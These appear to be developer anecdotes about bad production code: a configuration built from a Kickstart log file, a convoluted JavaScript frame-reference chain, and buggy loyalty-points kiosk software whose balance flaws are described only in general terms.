It turns out that the system was checking the install.log file that Kickstart leaves in the root directory for part of the information it needed to create the DRBD configuration. This in itself is evil, of course. You don't pull configuration from a log file whose format is not actually defined. It gets worse, though.

It didn't store this data anywhere else, and every time it ran, which was every 60 seconds, it consulted install.log.

I'll just let you guess what happened the first time somebody decided to delete this otherwise useless log file.

Among other things I found in a project I joined, I found this piece of diamond:

newwin=parent.parent.window.opener.parent.parent.parent.frames['clear'].window.open('empty.htm');

Years ago I had joined a multi-company loyalty rewards company where these reached production. What should have been a quick assessment & getting to know the biz, turned out on revealing & leading critical fixes to some of the mess:

• 2 on a third party built application in kiosks around the country (it operated on both smart cards & online balance):
  • could lose balance on not hard to get conditions
  • could be exploited to get any amount of free balance
• a points x year expiration yearly process that I don't even know who developed:
  • on Several conditions it would have incorrectly lost a huge chunk of balance to at least 30% of the users ... worst, the backup procedures & any other transaction based recovery traces were lame before I found about that

Remember, even if these are rewards points, it is money you could spent on pretty much anything: food, movie theaters, flights, drugstore, to name a few.